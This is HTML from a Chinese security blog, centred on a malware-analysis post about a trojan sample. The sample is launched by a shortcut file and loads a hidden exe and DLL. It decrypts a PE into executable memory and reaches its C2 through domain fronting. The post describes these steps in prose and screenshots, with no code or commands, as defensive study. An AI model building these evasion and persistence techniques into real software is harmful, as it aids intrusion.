<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/20/堆结构/index.html | HTML | unknown | 34,042 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/21/hw样本分析/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="0x00 样本信息 HW期间拿到的一个样本,用了lnk的启动方式。运行后会启动隐藏属性的exe和dll文件,进行后续的内存解密操作后用域前置的方法执行外联操作。">
<meta property="og:type" content="article">
<meta property="og:title" content="HW样本分析">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="0x00 样本信息 HW期间拿到的一个样本,用了lnk的启动方式。运行后会启动隐藏属性的exe和dll文件,进行后续的内存解密操作后用域前置的方法执行外联操作。">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523160235108.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210524114643659.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523161133203.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523162746448.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523163951134.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523161510791.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523221615770.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523221905856.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523232014720.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523232805093.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523234035732.png">
<meta property="article:published_time" content="2021-05-21T10:32:26.000Z">
<meta property="article:modified_time" content="2022-11-14T14:15:14.441Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="windows木马">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523160235108.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
HW样本分析 | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">HW样本分析</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-21 18:32:26</span>
<span class="mobile">2021-05-21 18:32:26</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2022-11-14 22:15:14</span>
<span class="mobile">2022-11-14 22:15:14</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/">样本分析</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/windows%E6%9C%A8%E9%A9%AC/">windows木马</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h3 id="0x00-样本信息"><a href="#0x00-样本信息" class="headerlink" title="0x00 样本信息"></a>0x00 样本信息</h3><p> HW期间拿到的一个样本,用了lnk的启动方式。运行后会启动隐藏属性的exe和dll文件,进行后续的内存解密操作后用域前置的方法执行外联操作。</p>
<span id="more"></span>
<h3 id="0x01-行为分析"><a href="#0x01-行为分析" class="headerlink" title="0x01 行为分析"></a>0x01 行为分析</h3><ol>
<li><p>行为分析</p>
<p>样本解压后可以看到两个文件:一个excle表,一个pdf快捷方式。excle表查看后是一个正常的文件。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523160235108.png" class="" title="image-20210523160235108">
<p>通过火绒剑行为监控可以看到快捷方式执行后会有一些启动bat脚本和外连等行为</p>
<p>根据bat文件可以看到lnk文件执行之后,运行的主体为sihost.exe & MpSvc.dll,接下来跟据前面监测到的的一些行为对这两个文件进行详细分析。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210524114643659.png" class="" title="image-20210524114643659">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523161133203.png" class="" title="image-20210523161133203">
<h3 id="0x02-调试分析"><a href="#0x02-调试分析" class="headerlink" title="0x02 调试分析"></a>0x02 调试分析</h3><p>用ida查看sihost.exe的函数调用视图可以看到调用过程非常简单,启动函数调用了三个函数sub-401104获取了一些信息并未做什么后续的操作,所以主要从DLL的ServiceCrtMain函数开始分析</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523162746448.png" class="" title="image-20210523162746448">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523163951134.png" class="" title="image-20210523163951134">
<p>顺便看一下dll用到了非常多的导入函数</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523161510791.png" class="" title="image-20210523161510791">
<p>进入mpsvc.dll后可以看到首先创建了一个互斥体来防止多开,继续往下调试</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523221615770.png" class="" title="image-20210523221615770">
<p>可以看到此处VirtualAlloc在0x130000处开辟了一块可读可写可执行的空间,之后又往这片内存写入了一个PE文件</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523221905856.png" class="" title="image-20210523221905856">
<p>前面用火绒剑抓取到了有外链的操作,在进入这个地方已经加载网络通信相关dll后,可以直接下HttpSendRequestA等网络链接相关断点</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523232014720.png" class="" title="image-20210523232014720">
<p>继续往下执行,可以看到又使用virtualalloc开辟了一块空间</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523232805093.png" class="" title="image-20210523232805093">
<p>此时可以选择F9直接执行会断在HttpSendRequestA处,就可以看到链接的域名C2</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/image-20210523234035732.png" class="" title="image-20210523234035732"></li>
</ol>
<p>可以看到链接的C2是一个高信誉的域名,这个地方是采用了域前置的方式,去访问用同一个CDN加速的另一个域名。</p>
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> HW样本分析</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-21 18:32:26</li>
<li>
<strong>更新于
:</strong> 2022-11-14 22:15:14
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/21/HW样本分析/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/windows%E6%9C%A8%E9%A9%AC/">#windows木马</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">一枚简单的未知壳</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/20/winDbg%E5%AE%89%E8%A3%85mona/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">winXP安装mona</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">HW样本分析</div>
<ol class="nav"><li class="nav-item nav-level-3"><a class="nav-link" href="#0x00-%E6%A0%B7%E6%9C%AC%E4%BF%A1%E6%81%AF"><span class="nav-text">0x00 样本信息</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#0x01-%E8%A1%8C%E4%B8%BA%E5%88%86%E6%9E%90"><span class="nav-text">0x01 行为分析</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#0x02-%E8%B0%83%E8%AF%95%E5%88%86%E6%9E%90"><span class="nav-text">0x02 调试分析</span></a></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/21/HW样本分析/index.html | HTML | unknown | 33,774 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/24/arm汇编笔记/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="ARM汇编的一些知识寄存器数量ARM处理器一共有37个32位寄存器。30个为“通用“寄存器: r0-r14未分组:r0-r7,即只有一个寄存器分 组:r8-r14,即有多个同名寄存器r8-r12 :两个r13-r14:6个 r13(sp),R14(lr)1个固定的程序计数器 : pc (又称r15)6个为状态寄存器 : cpsr spsr不能被同时访问,一种模式下最多同时访问18个寄存器">
<meta property="og:type" content="article">
<meta property="og:title" content="ARM汇编笔记">
